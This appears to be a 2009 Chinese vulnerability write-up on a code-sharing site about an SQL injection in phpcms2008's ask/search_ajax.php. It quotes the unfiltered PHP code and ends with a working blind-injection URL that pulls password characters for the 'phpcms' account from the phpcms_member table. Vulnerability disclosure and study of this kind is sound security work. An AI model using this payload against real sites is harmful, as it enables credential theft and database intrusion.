当前位置: 代码网 > 服务器>网络安全>漏洞分析 > phpcms2008 注入漏洞

phpcms2008 注入漏洞

2009年05月24日 漏洞分析 我要评论
phpcms2008 注入漏洞这个是最新有人发现的 该漏洞文件:ask/search_ajax.php 漏洞说明: /ask/search_ajax.php Code: if($q) { $where = " title LIKE '%$q%' AND status = 5";//没... 09-05-24
这个是最新有人发现的

该漏洞文件:ask/search_ajax.php

漏洞说明:
/ask/search_ajax.php
code:

if($q)
{
$where = " title like '%$q%' and status = 5";//没做过滤直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid desc', '', 10);
/ask/include/answer.class.php
code:

function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " where $where";
if($order) $order = " order by $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " limit $offset, $pagesize";
$r = $this->db->get_one("select count(*) as number from $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("select * from $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
测试方法:
/ask/search_ajax.php?q=s%d5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636d73)>52%23
(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com